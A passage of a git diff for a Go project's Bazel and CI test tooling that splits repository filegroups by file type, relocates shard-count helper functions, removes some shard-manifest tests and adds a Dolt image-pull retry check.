bool { return found } -func exits(body *ast.BlockStmt) bool { - for _, st := range body.List { - switch st := st.(type) { - case *ast.ReturnStmt: - return true - case *ast.BranchStmt: - if st.Tok == token.CONTINUE { - return true - } - } - } - return false -} - // goTestCond: TEST_SRCDIR == "" or !...IsBazel(). func goTestCond(cond ast.Expr) bool { switch c := cond.(type) { diff --git a/scripts/bench-ready-indexes/BUILD.bazel b/scripts/bench-ready-indexes/BUILD.bazel index d67926583..185a441a1 100644 --- a/scripts/bench-ready-indexes/BUILD.bazel +++ b/scripts/bench-ready-indexes/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/check-versions/BUILD.bazel b/scripts/check-versions/BUILD.bazel index 6baf8b20d..818f31552 100644 --- a/scripts/check-versions/BUILD.bazel +++ b/scripts/check-versions/BUILD.bazel @@ -42,12 +42,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -56,7 +95,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/check_testing_short_test.go b/scripts/check_testing_short_test.go index 9e1257766..b2881db63 100644 --- a/scripts/check_testing_short_test.go +++ b/scripts/check_testing_short_test.go @@ -66,26 +66,6 @@ func TestCheckTestingShortReportsUnknownBetweenFunctions(t *testing.T) { } } -func TestCheckTestingShortPassesOnCleanRepoTree(t *testing.T) { - if runtime.GOOS == "windows" { - t.Skip("checker is a Bash boundary") - } - repo := sourceRepoRoot(t) - // Under Bazel the tree is //:repo_files; a tree missing the allowlisted - // call sites would let the scan pass vacuously. - for _, rel := range []string{"internal/hooks/hooks_test.go", "internal/storage/dolt/concurrent_test.go", "internal/workapi/sweep_test.go"} { - if _, err := os.Stat(filepath.Join(repo, filepath.FromSlash(rel))); err != nil { - t.Fatalf("the scanned tree lacks %s, which holds an allowlisted call: %v", rel, err) - } - } - cmd := exec.Command("bash", filepath.Join(repo, "scripts", "check-testing-short.sh")) - cmd.Dir = repo - out, err := cmd.CombinedOutput() - if err != nil { - t.Fatalf("check-testing-short.sh failed on clean repo tree (all 9 allowlist entries must still be recognized): %v\noutput: %s", err, out) - } -} - func runCheckTestingShort(t *testing.T, files map[string]string) (string, error) { t.Helper() if runtime.GOOS == "windows" { diff --git a/scripts/check_winget_portable_alias_test.go b/scripts/check_winget_portable_alias_test.go index 8a52fcc79..0e5a5e56d 100644 --- a/scripts/check_winget_portable_alias_test.go +++ b/scripts/check_winget_portable_alias_test.go @@ -11,7 +11,7 @@ import ( // The guard's own vocabulary is shared between mikefarah yq v4 and python-yq, // so either flavour exercises these cases. Under Bazel yq is part of the -// executor inventory //scripts:scripts_test relies on (the rbe-west worker +// executor inventory the //scripts go_tests rely on (the rbe-west worker // image and ubuntu-latest ship mikefarah yq v4), so a missing yq fails there. func skipWithoutYQ(t *testing.T) { t.Helper() diff --git a/scripts/checkworkflowtags/BUILD.bazel b/scripts/checkworkflowtags/BUILD.bazel index 1a80d8372..2ce173f43 100644 --- a/scripts/checkworkflowtags/BUILD.bazel +++ b/scripts/checkworkflowtags/BUILD.bazel @@ -17,12 +17,51 @@ go_binary( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 6905ece3c..eb75ab320 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2516,7 +2516,7 @@ func TestPRPolicyChecksRunAsBazelTargets(t *testing.T) { {"scripts/repochecks/BUILD.bazel", "workapi_frontend_boundary_test", `"scripts/check-workapi-frontend-boundary.sh"`, ""}, {"scripts/repochecks/BUILD.bazel", "types_gen_drift_test", `"types_gen_drift_test.sh"`, ""}, {"internal/versioncheck/BUILD.bazel", "versioncheck_test", `"//:release_metadata_files"`, ""}, - {"scripts/BUILD.bazel", "scripts_test", `"check_testing_short_test.go"`, ""}, + {"scripts/BUILD.bazel", "go_sources_test", `"testing_short_tree_test.go"`, ""}, {"scripts/BUILD.bazel", "doc_freshness_required_test", `"-required-suite=doc-freshness"`, `["integration-only"]`}, {"scripts/gitattributespolicy/BUILD.bazel", "gitattributespolicy_required_host_test", `"-required-host"`, ""}, } { @@ -3896,9 +3896,6 @@ sh_test( } } -// The default shard manifest of a PR Risk shard script. -var shardManifestDefault = regexp.MustCompile(`\$\{BEADS_TEST_SHARD_MANIFEST:-([^}]+)\}`) - // bazelAttrBlock returns the text of a list attribute (` name = [` up to // its closing ` ],`) of a rule block from bazelRuleBlock, or "". func bazelAttrBlock(rule, name string) string { @@ -3913,40 +3910,6 @@ func bazelAttrBlock(rule, name string) string { return rule[i : i+end+7] } -// bazelRuleBlock returns the text of the top-level rule named name in a -// BUILD file, or "" if there is none. -func bazelRuleBlock(build, name string) string { - i := strings.Index(build, "\n name = \""+name+"\",\n") - if i < 0 { - return "" - } - start := strings.LastIndex(build[:i], "\n") + 1 - end := strings.Index(build[i:], "\n)\n") - if end < 0 { - return build[start:] - } - return build[start : i+end+3] -} - -// bazelProxiedShardCount returns cmd/bd:bd_proxied_test's own shard_count -// from cmd/bd/BUILD.bazel: the single source of truth for the Bazel-only -// bazel-proxied lane's shard split, which no longer has to equal PR -// Risk's/main.yml's legacy test-proxied-cmd jobs' matrix size (F2). -func bazelProxiedShardCount(t *testing.T) int { - t.Helper() - root := sourceRepoRoot(t) - rule := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_proxied_test") - m := regexp.MustCompile(`(?m)^ shard_count = (\d+),$`).FindStringSubmatch(rule) - if m == nil { - t.Fatalf("cmd/bd:bd_proxied_test has no `shard_count = N,` in cmd/bd/BUILD.bazel:\n%s", rule) - } - n, err := strconv.Atoi(m[1]) - if err != nil { - t.Fatalf("cmd/bd:bd_proxied_test shard_count: %v", err) - } - return n -} - // bazel-integration mirrors main.yml's integration jobs with the unmodified // --config=integration (whose .bazelrc filter and flags // TestBazelrcIntegrationLane pins): no extra filter, selector or remote @@ -5755,6 +5718,13 @@ func TestBazelGatedLanesNeverRetryFlakyTests(t *testing.T) { case ".git", "node_modules", ".beads": return filepath.SkipDir } + // Not in the checkout: under Bazel, the --run_under wrapper's + // PATH directory (//tools/bazel:hermetic_bin) is in every + // test's runfiles, and a line-by-line scan of its pinned dolt + // binary took a minute on a remote worker. + if filepath.ToSlash(rel) == "tools/bazel/hermetic_bin" { + return filepath.SkipDir + } return nil } if !isFileOrFileLink(path, d) { @@ -6068,3 +6038,31 @@ func (e *ciWorkflowEnvironment) UnmarshalYAML(value *yaml.Node) error { e.Name, e.URL = m.Name, m.URL return nil } + +func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { + // No workflow pulls the image: every Dolt suite runs on hermetic dolt + // sql-servers (bazel.yml's dolt-server lanes) and needs no docker, since + // pr-risk.yml's container-backed legacy tiers were retired + // (ga-96smfk.22). The helper stays for local container-backed runs. + wantCalls := map[string]int{} + + workflowsDir := filepath.Join(sourceRepoRoot(t), ".github", "workflows") + workflowPaths, err := filepath.Glob(filepath.Join(workflowsDir, "*.y*ml")) + if err != nil { + t.Fatal(err) + } + for _, path := range workflowPaths { + data, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + text := string(data) + name := filepath.Base(path) + if got, want := strings.Count(text, "run: ./scripts/ci/pull-dolt-image.sh"), wantCalls[name]; got != want { + t.Errorf("%s retry-helper calls = %d, want %d", name, got, want) + } + if strings.Contains(text, "docker pull "+doltSQLServerImage) { + t.Errorf("%s still pulls the Dolt image without retries", name) + } + } +} diff --git a/scripts/embedded_shard_count_test.go b/scripts/embedded_shard_count_test.go index dcc75521f..f439235be 100644 --- a/scripts/embedded_shard_count_test.go +++ b/scripts/embedded_shard_count_test.go @@ -1,14 +1,18 @@ package scripts_test +// The Bazel shard counts the CI policy tests (//scripts:scripts_test) and the +// shard-manifest tests (//scripts:go_test_sources_test) check against, read +// from each sharded target's own BUILD.bazel rule. Helpers only: both targets +// compile this file, so a test here would run twice. + import ( - "os/exec" "regexp" "strconv" "testing" ) // shardCountPattern matches a rule block's ` shard_count = N,` line, the -// same pattern bazelProxiedShardCount (scripts/ci_workflow_test.go) inlines +// same pattern bazelProxiedShardCount (below) inlines // for its own single use; shared here since both embedded accessors below // need it. var shardCountPattern = regexp.MustCompile(`(?m)^ shard_count = (\d+),$`) @@ -18,7 +22,7 @@ var shardCountPattern = regexp.MustCompile(`(?m)^ shard_count = (\d+),$`) // Bazel-only bazel-embedded lane's cmd/bd shard split (slice F1), which no // longer has to equal PR Risk's/main.yml's legacy "Test (Embedded Dolt Cmd // N/20)" fork/push jobs' matrix size — mirrors bazelProxiedShardCount (F2; -// see that function's doc comment in scripts/ci_workflow_test.go for the +// see that function's doc comment below for the // shared rationale, not repeated here). func bazelEmbeddedCmdShardCount(t *testing.T) int { t.Helper() @@ -57,46 +61,6 @@ func bazelEmbeddedStorageShardCount(t *testing.T) int { return n } -// S3 (F1, mirroring F2's TestProxiedShardManifestGeneratorNotStale in -// scripts/pr_risk_bazel_coverage_test.go — see that test's doc comment for -// the full --check rationale, not repeated here): the Bazel-only 50-shard -// cmd block and 15-shard storage block are not frozen like their files' -// legacy 20- and 5-shard blocks. gen_embedded_{cmd,storage}_shard_manifest.py -// --check verifies only that the committed block names every discovered -// test exactly once, failing with the exact command to fix it when a name -// is missing, stale, or duplicated — run here so a drifted block fails `go -// test ./scripts/...` (//scripts:scripts_test under Bazel) instead of only -// surfacing as a test silently never running in any shard. The legacy -// blocks are deliberately excluded: both files document that their 20- and -// 5-shard blocks are frozen (see .github/scripts/embedded-{cmd,storage}- -// test-shards.txt and engdocs/TESTING.md), so a --check against them is -// expected to report "missing" entries by design (see those generators' -// module docstrings) and is not what this test runs. -func TestCmdEmbeddedShardManifestGeneratorNotStale(t *testing.T) { - python := requireHostTool(t, "python3") - root := sourceRepoRoot(t) - shards := strconv.Itoa(bazelEmbeddedCmdShardCount(t)) - cmd := exec.Command(python, "scripts/ci/gen_embedded_cmd_shard_manifest.py", shards, "--weights=duration", "--check") - cmd.Dir = root - if out, err := cmd.CombinedOutput(); err != nil { - t.Errorf("gen_embedded_cmd_shard_manifest.py %s --weights=duration --check: %v\n%s", shards, err, out) - } -} - -// TestStorageEmbeddedShardManifestGeneratorNotStale mirrors -// TestCmdEmbeddedShardManifestGeneratorNotStale above for the storage tier's -// Bazel-only 15-shard block; see that test's doc comment. -func TestStorageEmbeddedShardManifestGeneratorNotStale(t *testing.T) { - python := requireHostTool(t, "python3") - root := sourceRepoRoot(t) - shards := strconv.Itoa(bazelEmbeddedStorageShardCount(t)) - cmd := exec.Command(python, "scripts/ci/gen_embedded_storage_shard_manifest.py", shards, "--weights=duration", "--check") - cmd.Dir = root - if out, err := cmd.CombinedOutput(); err != nil { - t.Errorf("gen_embedded_storage_shard_manifest.py %s --weights=duration --check: %v\n%s", shards, err, out) - } -} - // bazelServerFullShardCount returns dolt:dolt_server_full_test's own // shard_count from internal/storage/dolt/BUILD.bazel: the single source of // truth for the bazel-server-storage lane's full-suite shard split, now that @@ -117,3 +81,25 @@ func bazelServerFullShardCount(t *testing.T) int { } return n } + +// The default shard manifest of a PR Risk shard script. +var shardManifestDefault = regexp.MustCompile(`\$\{BEADS_TEST_SHARD_MANIFEST:-([^}]+)\}`) + +// bazelProxiedShardCount returns cmd/bd:bd_proxied_test's own shard_count +// from cmd/bd/BUILD.bazel: the single source of truth for the Bazel-only +// bazel-proxied lane's shard split, which no longer has to equal PR +// Risk's/main.yml's legacy test-proxied-cmd jobs' matrix size (F2). +func bazelProxiedShardCount(t *testing.T) int { + t.Helper() + root := sourceRepoRoot(t) + rule := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_proxied_test") + m := regexp.MustCompile(`(?m)^ shard_count = (\d+),$`).FindStringSubmatch(rule) + if m == nil { + t.Fatalf("cmd/bd:bd_proxied_test has no `shard_count = N,` in cmd/bd/BUILD.bazel:\n%s", rule) + } + n, err := strconv.Atoi(m[1]) + if err != nil { + t.Fatalf("cmd/bd:bd_proxied_test shard_count: %v", err) + } + return n +} diff --git a/scripts/gitattributespolicy/BUILD.bazel b/scripts/gitattributespolicy/BUILD.bazel index c41371b52..d3ced62de 100644 --- a/scripts/gitattributespolicy/BUILD.bazel +++ b/scripts/gitattributespolicy/BUILD.bazel @@ -33,12 +33,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -47,7 +86,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/host_tools_test.go b/scripts/host_tools_test.go index 0c498194b..6773d7d11 100644 --- a/scripts/host_tools_test.go +++ b/scripts/host_tools_test.go @@ -8,8 +8,8 @@ import ( ) // skipOrFailWithoutHostTool handles a missing host tool. Under go test the -// test skips, as it always has. Under Bazel it fails: //scripts:scripts_test -// relies on the executor's bash, git, python3 and friends (the rbe-west +// test skips, as it always has. Under Bazel it fails: the //scripts go_tests +// rely on the executor's bash, git, python3 and friends (the rbe-west // worker image, or the runner in fork-cache mode), so a skip there would // hide an executor that lacks one behind a green, cacheable result. func skipOrFailWithoutHostTool(t *testing.T, format string, args ...any) { @@ -45,3 +45,14 @@ func testGo(t *testing.T) string { } return requireHostTool(t, "go") } + +// requireAutofixBash skips when bash cannot run the autofix scripts: they run +// on Linux runners and use bash 4 associative arrays, and macOS runners ship +// /bin/bash 3.2. +func requireAutofixBash(t *testing.T) { + t.Helper() + requireHostTool(t, "bash") + if err := exec.Command("bash", "-c", "declare -A probe=()").Run(); err != nil { + t.Skip("bash lacks associative arrays (bash >= 4 required)") + } +} diff --git a/scripts/internal/testbash/BUILD.bazel b/scripts/internal/testbash/BUILD.bazel index 6ec7c261e..3c200eee7 100644 --- a/scripts/internal/testbash/BUILD.bazel +++ b/scripts/internal/testbash/BUILD.bazel @@ -29,12 +29,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/migration-test/catalog/BUILD.bazel b/scripts/migration-test/catalog/BUILD.bazel index 70e66d75a..b69d11468 100644 --- a/scripts/migration-test/catalog/BUILD.bazel +++ b/scripts/migration-test/catalog/BUILD.bazel @@ -23,12 +23,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/pr-lint/BUILD.bazel b/scripts/pr-lint/BUILD.bazel index a232d5557..4d30153de 100644 --- a/scripts/pr-lint/BUILD.bazel +++ b/scripts/pr-lint/BUILD.bazel @@ -22,12 +22,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -36,7 +75,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index b2058509f..b53fdfb69 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -416,8 +416,8 @@ func TestDoltServerFingerprintRunsOnTheDoltServerLane(t *testing.T) { // cmd/go's defaultVetFlags analyzers beside every compile of every lane, so // bazel.yml's required test lane (`bazel test //... --config=ci`) fails on a // finding. No workflow runs `go vet` any more. The repository policy tests -// and the Go tests that walk the checkout run under Bazel -// (//scripts:scripts_test and //test/docsync over //:repo_files), so no +// and the Go tests that walk the checkout run under Bazel (//scripts' and +// //test/docsync's go_tests, over the repo_files partitions they read), so no // workflow runs `go test` over ./scripts/... or the equivalence allowlist // either. func TestPRRunsGoTestsBazelSkips(t *testing.T) { diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index edf17a537..b058e806d 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -10,7 +10,6 @@ import ( "sort" "strconv" "strings" - "sync" "testing" ) @@ -319,7 +318,7 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { // liveShardCount dispatches a suite's -1 shardCount to the accessor that // reads its target's own shard_count from its BUILD.bazel rule — the // single source of truth for a lane's shard split. See - // bazelProxiedShardCount's doc comment (scripts/ci_workflow_test.go) for + // bazelProxiedShardCount's doc comment (scripts/embedded_shard_count_test.go) for // the shared rationale. liveShardCount := map[string]func(*testing.T) int{ "//cmd/bd:bd_proxied_test": bazelProxiedShardCount, @@ -553,199 +552,6 @@ esac } } -// Review G1: the checker's input is the real shard scripts' list-only -// output (every retired lane's: the embedded, proxied and server suites). Every name they list, for every shard, must be a test go test -// runs (declared `func Name(t *testing.T)` in the package's _test.go files), -// or one check_shard_coverage.py drops as NOT_TESTS; and each NOT_TESTS name -// must really not be a test (TestMain takes *testing.M). Otherwise the -// checker reports a listed test that "did not run" on every real run. -func TestShardScriptsListOnlyRealTests(t *testing.T) { - // The CI shard scripts use bash 4 associative arrays (Linux runners only). - requireAutofixBash(t) - root := sourceRepoRoot(t) - m := regexp.MustCompile(`(?m)^NOT_TESTS = frozenset\(\{([^}]*)\}\)`).FindStringSubmatch(readPolicyFile(t, root, "tools/bazel/check_shard_coverage.py")) - if m == nil { - t.Fatal("tools/bazel/check_shard_coverage.py has no NOT_TESTS = frozenset({...})") - } - notTests := map[string]bool{} - for _, q := range regexp.MustCompile(`"([^"]+)"`).FindAllStringSubmatch(m[1], -1) { - notTests[q[1]] = true - } - for _, c := range []struct{ job, script, pkg string }{ - {"test-embedded-cmd", ".github/scripts/embedded-test-shard.sh", "cmd/bd"}, - {"test-embedded-storage", ".github/scripts/embedded-storage-test-shard.sh", "internal/storage/embeddeddolt"}, - // D2 step 2: the proxied and server lanes' suites. - {"test-proxied-cmd", ".github/scripts/proxied-test-shard.sh", "cmd/bd"}, - {"test-server-storage-full", ".github/scripts/server-storage-test-shard.sh", "internal/storage/dolt"}, - } { - var src strings.Builder - files, err := filepath.Glob(filepath.Join(root, c.pkg, "*_test.go")) - if err != nil || len(files) == 0 { - t.Fatalf("%s: no _test.go files (%v)", c.pkg, err) - } - for _, f := range files { - data, err := os.ReadFile(f) - if err != nil { - t.Fatal(err) - } - src.Write(data) - src.WriteString("\n") - } - declared := map[string]bool{} - for _, d := range regexp.MustCompile(`(?m)^func (Test\w*)\(\w+ \*testing\.T\) \{`).FindAllStringSubmatch(src.String(), -1) { - declared[d[1]] = true - } - - // B1: validate every total this script's committed manifest holds a - // block for, plus this job's own PR Risk matrix size and (for - // test-proxied-cmd) the Bazel lane's own shard_count — not just - // whichever total happens to equal this PR Risk job's matrix. Before - // F2 those always coincided; now the Bazel-only bazel-proxied lane - // reads a manifest block (30) that no PR-Risk-matrix-only check ever - // exercises, so a fork PR (which never runs bazel-proxied) could - // corrupt that block and still merge green. Looping over every - // distinct total in the manifest closes that gap for this script and - // any other script that later grows a second block the same way. - mm := shardManifestDefault.FindStringSubmatch(readPolicyFile(t, root, c.script)) - if mm == nil { - t.Fatalf("%s has no ${BEADS_TEST_SHARD_MANIFEST:-...} default manifest", c.script) - } - totalsSet := map[int]bool{} - for _, line := range strings.Split(readPolicyFile(t, root, mm[1]), "\n") { - line, _, _ = strings.Cut(line, "#") - fields := strings.Fields(line) - if len(fields) == 0 { - continue - } - if n, err := strconv.Atoi(fields[0]); err == nil { - totalsSet[n] = true - } - } - switch c.script { - case ".github/scripts/proxied-test-shard.sh": - totalsSet[bazelProxiedShardCount(t)] = true - case ".github/scripts/embedded-test-shard.sh": - // F1: the Bazel-only bazel-embedded lane reads a 50-shard cmd - // block that no PR-Risk-matrix-only (20-shard) check exercises; - // without this, "BUILD.bazel's shard_count and bazel.yml's - // check_shard_coverage.py arg both drift to a new total with no - // manifest block" passes every policy test (see review S3) -- - // the lane then silently goes 100% hash fallback and loses its - // duration balancing. - totalsSet[bazelEmbeddedCmdShardCount(t)] = true - case ".github/scripts/embedded-storage-test-shard.sh": - // F1: mirrors the cmd case above for the 15-shard storage block. - totalsSet[bazelEmbeddedStorageShardCount(t)] = true - case ".github/scripts/server-storage-test-shard.sh": - totalsSet[bazelServerFullShardCount(t)] = true - } - totals := make([]int, 0, len(totalsSet)) - for n := range totalsSet { - totals = append(totals, n) - } - sort.Ints(totals) - - for _, shards := range totals { - // The scripts' hash fallback forks per test (seconds per shard - // for the server suite): list the shards concurrently. - outs, errs := make([][]byte, shards+1), make([]error, shards+1) - var wg sync.WaitGroup - for k := 1; k <= shards; k++ { - wg.Add(1) - go func(k int) { - defer wg.Done() - cmd := exec.Command("bash", c.script, strconv.Itoa(k), strconv.Itoa(shards)) - cmd.Dir = root - cmd.Env = append(os.Environ(), "BEADS_TEST_SHARD_LIST_ONLY=1") - outs[k], errs[k] = cmd.Output() - }(k) - } - wg.Wait() - listed, manifestSum := 0, 0 - for k := 1; k <= shards; k++ { - if errs[k] != nil { - // The script itself exits 1 on a duplicate manifest entry - // or a manifest entry that names no discovered test - // (rename/typo/stale-after-delete), for the requested - // total only: this is what catches a corrupted block - // that a PR-Risk-matrix-only check at a different total - // would never see. - t.Fatalf("%s %d %d: %v\n%s", c.script, k, shards, errs[k], outs[k]) - } - for _, line := range strings.Split(string(outs[k]), "\n") { - if mc := regexp.MustCompile(`^ manifest: (\d+), fallback: \d+$`).FindStringSubmatch(line); mc != nil { - n, _ := strconv.Atoi(mc[1]) - manifestSum += n - continue - } - name, ok := strings.CutPrefix(line, " ") - if !ok || !strings.HasPrefix(name, "Test") || strings.ContainsAny(name, " :") { - continue - } - listed++ - isTest := declared[name] - switch { - case notTests[name] && isTest: - t.Errorf("%s shard %d/%d lists %s, which check_shard_coverage.py drops, but it is a real test", c.script, k, shards, name) - case !notTests[name] && !isTest: - t.Errorf("%s shard %d/%d lists %s, which is not a `func %s(t *testing.T)` test in %s: check_shard_coverage.py would report it missing on every run (add it to NOT_TESTS only if go test never runs it)", - c.script, k, shards, name, name, c.pkg) - } - } - } - if listed < 50 { - t.Errorf("%s at %d shards listed only %d tests; did the list-only output format change?", c.script, shards, listed) - } - // S1: a total that is supposed to have a committed manifest - // block (every total this loop considers does: it is either a - // live job's matrix size or a total this script's own manifest - // already names) must not have silently gone 100% hash fallback, - // which is what "the whole block was deleted" looks like from - // here: check_shard_coverage.py would still pass (it rebuilds - // its expectation from this same script), so nothing else - // catches it. - if manifestSum == 0 { - t.Errorf("%s at %d shards: manifest entries for this total sum to 0 across all shards (100%% hash fallback); its committed block in %s may have been deleted", c.script, shards, mm[1]) - } - } - } - for name := range notTests { - if name != "TestMain" { - t.Errorf("NOT_TESTS has %s; only TestMain is never a test", name) - } - } -} - -// S3: the Bazel-only 30-shard block is not frozen like the legacy 15-shard -// block (TestShardScriptsListOnlyRealTests's B1 fix catches outright -// corruption, but not a committed block that has drifted from the currently -// discovered TestProxiedServer*/TestServerMode* test set, e.g. a test added, -// renamed, or removed without anyone running --write). gen_proxied_shard_ -// manifest.py --check verifies only that the committed block names every -// discovered test exactly once -- not that its shard *assignments* match a -// fresh LPT pack -- and fails with the exact command to fix it when a name -// is missing, stale, or duplicated. It deliberately does NOT fail merely -// because proxied_test_durations.json's weights changed and the existing -// packing is now suboptimal: two PRs each adding one proxied test would -// otherwise force a full repack and conflict on unrelated shard lines (see -// --repack below for the explicit opt-in to that). Run --check here so a -// block with 